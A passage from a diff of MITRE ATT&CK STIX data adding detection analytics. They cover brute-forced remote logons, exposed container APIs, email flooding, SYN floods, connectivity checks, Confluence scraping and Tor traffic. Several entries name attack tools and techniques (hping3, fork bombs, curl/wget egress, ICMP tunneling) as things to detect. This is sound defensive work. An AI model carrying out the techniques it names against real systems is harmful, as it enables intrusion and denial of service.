4625" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "VPN, Citrix, or remote access gateway logs showing external IP addresses" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BusinessHours", + "description": "Normal business hours for logon activity." + }, + { + "field": "KnownRemoteIPs", + "description": "List of approved external IPs or VPN endpoints." + }, + { + "field": "FailedLogonThreshold", + "description": "Number of failed logons before raising suspicion (e.g., >5)." + }, + { + "field": "GeoIPWhitelist", + "description": "Geographic regions allowed for remote access." + }, + { + "field": "TimeWindow", + "description": "Time window to correlate failed attempts and success (e.g., 15m)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a3bca3ec-fd25-4b9d-bbce-9575ba96b8ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0354#AN1005", + "external_id": "AN1005" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1005", + "description": "Repeated SSH, VPN, or RDP gateway authentication attempts from external IPs \u2192 subsequent successful logon \u2192 remote shell or lateral movement activity (e.g., scp/sftp).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "auditd:SYSCALL", + "channel": "ssh logins or execve of remote commands" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "NSM:Connections", + "channel": "Failed password or accepted password for SSH users" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "connection: Inbound connections to SSH or VPN ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownSSHClients", + "description": "Legitimate IPs or client fingerprints for SSH/VPN." + }, + { + "field": "FailedLogonThreshold", + "description": "Number of failed SSH logins to trigger alert." + }, + { + "field": "TimeWindow", + "description": "Correlation window for failed attempts and success." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--14f4930e-a2a5-45ae-9552-837c0a35e06b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0354#AN1006", + "external_id": "AN1006" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1006", + "description": "Unexpected inbound or outbound VNC/SSH/Screen Sharing connections from external sources \u2192 repeated failed logins followed by success \u2192 remote interactive sessions or abnormal file transfers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "macos:unifiedlog", + "channel": "Remote login (ssh) or screen sharing authentication attempts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "Inbound connections to VNC/SSH ports" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "PF:Logs", + "channel": "External traffic to remote access services" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownVNCServers", + "description": "List of approved VNC/SSH sources." + }, + { + "field": "TimeWindow", + "description": "Time correlation between failed attempts and success." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--04fcf3d4-4547-4e64-bbb7-9faa46dda1f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0354#AN1007", + "external_id": "AN1007" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1007", + "description": "Connections to exposed container services (e.g., Docker API, Kubernetes API server) from unauthorized external IPs \u2192 abnormal container creation/start \u2192 lateral activity within cluster nodes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "ApplicationLog:API", + "channel": "Docker/Kubernetes API access from external sources" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "kubernetes:audit", + "channel": "Unauthorized container creation or kubelet exec logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "External access to container ports (2375, 6443)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedCIDRs", + "description": "Approved external IP ranges for container APIs." + }, + { + "field": "TimeWindow", + "description": "Correlation window for API calls and container starts." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1f515cf2-91a5-4bed-95a1-ed8fc8b24a87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0355#AN1008", + "external_id": "AN1008" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1008", + "description": "Detect abnormally high volume of inbound email messages or repetitive attachments being delivered to a single mailbox within a short time window. Defenders should look for anomalous spikes in message counts and repetitive attachment file creation events correlated with targeted users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Send/Receive: Unusual spikes in inbound messages to a single recipient" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the aggregation interval (e.g., 5 minutes, 1 hour) for detecting spikes in inbound email traffic." + }, + { + "field": "RecipientThreshold", + "description": "Defines maximum number of acceptable messages per user before triggering anomaly." + }, + { + "field": "AttachmentSizeThreshold", + "description": "Defines the size threshold for repetitive attachments to be flagged." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--31e4c4dc-3094-45b2-9d4d-1b0bf8311498", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0355#AN1009", + "external_id": "AN1009" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1009", + "description": "Monitor mail server logs (e.g., Postfix, Sendmail) for excessive connections or inbound message counts targeting a single recipient. Correlate with repetitive attachment storage in /var/mail or /var/spool/mail directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application:Mail", + "channel": "High-frequency inbound mail activity to a specific recipient address" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MailVolumeThreshold", + "description": "Tunable value for the maximum acceptable emails per minute per user." + }, + { + "field": "AttachmentPatternList", + "description": "List of suspicious attachment extensions that may be abused for repetitive delivery." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7e9cb99b-4040-4b73-bd70-1bd68ae0f373", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0355#AN1010", + "external_id": "AN1010" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1010", + "description": "Detect abnormal use of email clients (e.g., Outlook, Thunderbird) showing mass arrival of messages or repetitive attachments being locally stored. Correlate message volume with file creation activity in mail cache directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:exchange", + "channel": "MailDelivery: High-frequency delivery of messages or attachments to a single recipient" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Context for distinguishing between VIP or sensitive recipients and general users." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d41cdfc1-2a82-4442-a1ca-177fe59b8dff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0355#AN1011", + "external_id": "AN1011" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1011", + "description": "Monitor unified logs and Mail.app activity for repetitive incoming messages with attachments. Defenders should look for large volumes of incoming mail stored under ~/Library/Mail with unusual timing or repetitive subjects.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Repetitive inbound email delivery activity logged within a short time window" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsusage", + "channel": "create: Attachment file creation in ~/Library/Mail directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileCountThreshold", + "description": "Threshold for repetitive attachment files created within a defined interval." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cecfe3bc-525a-431e-8ee1-5133ab8ce79c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0356#AN1012", + "external_id": "AN1012" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1012", + "description": "Burst of incomplete TCP handshakes (e.g., SYN floods) or uncorrelated ACK packets targeting the state table resulting in OS resource exhaustion.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "WinEventLog:Microsoft-Windows-TCPIP", + "channel": "Connection queue overflow or failure to allocate TCP state object" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Firewall", + "channel": "High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Threshold for burst traffic over short period (e.g., 30s - 2min)" + }, + { + "field": "ConnectionRateThreshold", + "description": "SYN/ACK packet rate threshold that triggers investigation" + }, + { + "field": "ProcessParentCheck", + "description": "Whether parent process of flooding tool is a known admin shell or unexpected context" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fde025ac-a180-472c-a9b5-b4fa1e97cc75", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0356#AN1013", + "external_id": "AN1013" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1013", + "description": "Flood of spoofed SYN or ACK packets causing exhaustion of OS TCP state table, potentially via user-space utilities or kernel-level DoS agents.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "Invocation of packet generation tools (e.g., hping3, nping) or fork bombs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "High volumes of SYN/ACK packets with unacknowledged TCP handshakes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "NSM:Flow", + "channel": "TCP: possible SYN flood or backlog limit exceeded" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AmplificationThreshold", + "description": "Volume of fake TCP requests before OS begins degradation" + }, + { + "field": "Interface", + "description": "Which network interface is being targeted or impacted" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4db0f97c-a0c4-4c96-af56-86c6b227ea42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0356#AN1014", + "external_id": "AN1014" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1014", + "description": "Adversary tool/script issuing mass SYN/ACK floods that degrade OS responsiveness and interrupt service response on macOS endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "macos:unifiedlog", + "channel": "network stack resource exhaustion, tcp_accept queue overflow, repeated resets" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "Execution of flooding tools or compiled packet generators" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Firewall", + "channel": "Anomalous TCP SYN or ACK spikes from specific source or interface" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SystemLoadThreshold", + "description": "Observed CPU/network degradation level that triggers response" + }, + { + "field": "ToolExecutionPath", + "description": "Where DoS tools are commonly dropped or compiled" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aa2dc7aa-0cc5-4a75-96b2-8c089c46944b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0357#AN1015", + "external_id": "AN1015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1015", + "description": "Execution of utilities (e.g., ping, tracert, Test-NetConnection) or scripted methods to test Internet connectivity by interacting with external IPs/domains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Security", + "channel": "EventCode=5156" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DestinationIP", + "description": "Tunable external IP ranges or domains used to verify Internet access (e.g., 8.8.8.8, example.com)" + }, + { + "field": "TimeWindow", + "description": "Cluster rapid test connections with command execution in < 60 seconds" + }, + { + "field": "UserContext", + "description": "Filter out known admin/script contexts to reduce false positives" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bdba541c-3a01-4a6d-95ae-15e283f2909b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0357#AN1016", + "external_id": "AN1016" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1016", + "description": "Execution of ping, traceroute, or curl/wget against public IPs/domains to verify Internet reachability.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "linux:syslog", + "channel": "network" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DomainPatterns", + "description": "Regex for common test domains like example.com, google.com" + }, + { + "field": "ProtocolType", + "description": "Adjust focus to ICMP, HTTP, or mixed protocol testing" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1443f662-d249-4458-b8fe-2c2da7b64569", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0357#AN1017", + "external_id": "AN1017" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1017", + "description": "Execution of ping, traceroute, or network utility tools to external destinations; may include `scutil` or system_profiler.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionFrequency", + "description": "Rare use of ICMP utilities may be tuned based on user/host baselines" + }, + { + "field": "EnrichmentLevel", + "description": "Tune data joins with parent process and user activity context" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ef76221d-d5fe-4285-af27-54711e94e2b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0357#AN1018", + "external_id": "AN1018" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1018", + "description": "Execution of `ping`, `vmkping`, or `curl` from shell or through automation jobs/scripts to verify Internet egress.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "esxi:shell", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:hostd", + "channel": "process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SSHSessionOrigin", + "description": "Distinguish external SSH sessions from internal admin maintenance" + }, + { + "field": "TargetIP", + "description": "Egress test destination may be filtered to known CDNs/test nodes" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--62f43db8-4701-49b9-bb0e-a8fde37e5d07", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0358#AN1019", + "external_id": "AN1019" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1019", + "description": "Detection of excessive or programmatic access to Confluence spaces or pages, particularly by privileged users, through a combination of access logs, API usage, and identity context. Correlates logon sessions, user roles, and abnormal document viewing or export behavior. Identifies burst access patterns and tools/scripts abusing the Confluence API for mass enumeration or data scraping.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:confluence", + "channel": "access.content" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "saas:confluence", + "channel": "logon" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "saas:confluence", + "channel": "REST API access from non-browser agents" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the time span (e.g., 5m, 1h) in which excessive access behavior becomes suspicious." + }, + { + "field": "UserContext", + "description": "Privileged user roles (e.g., domain admins) should be excluded or flagged if found accessing documentation repositories." + }, + { + "field": "AccessThreshold", + "description": "The number of pages viewed or exported by a single user before triggering detection logic." + }, + { + "field": "AgentFilter", + "description": "User agent strings that may indicate scripted, automated, or non-interactive access methods." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--128315ea-6407-4c28-8528-209e799ad8e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0359#AN1020", + "external_id": "AN1020" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1020", + "description": "Suspicious processes (e.g., Tor clients, relays, unknown binaries) launch with sustained encrypted outbound traffic to known anonymity infrastructure (e.g., Tor, I2P), and may relay to additional internal systems via reverse proxying, ICMP tunneling, or socket forwarding.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "dns:query", + "channel": "Outbound resolution to hidden service domains (e.g., `.onion`)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 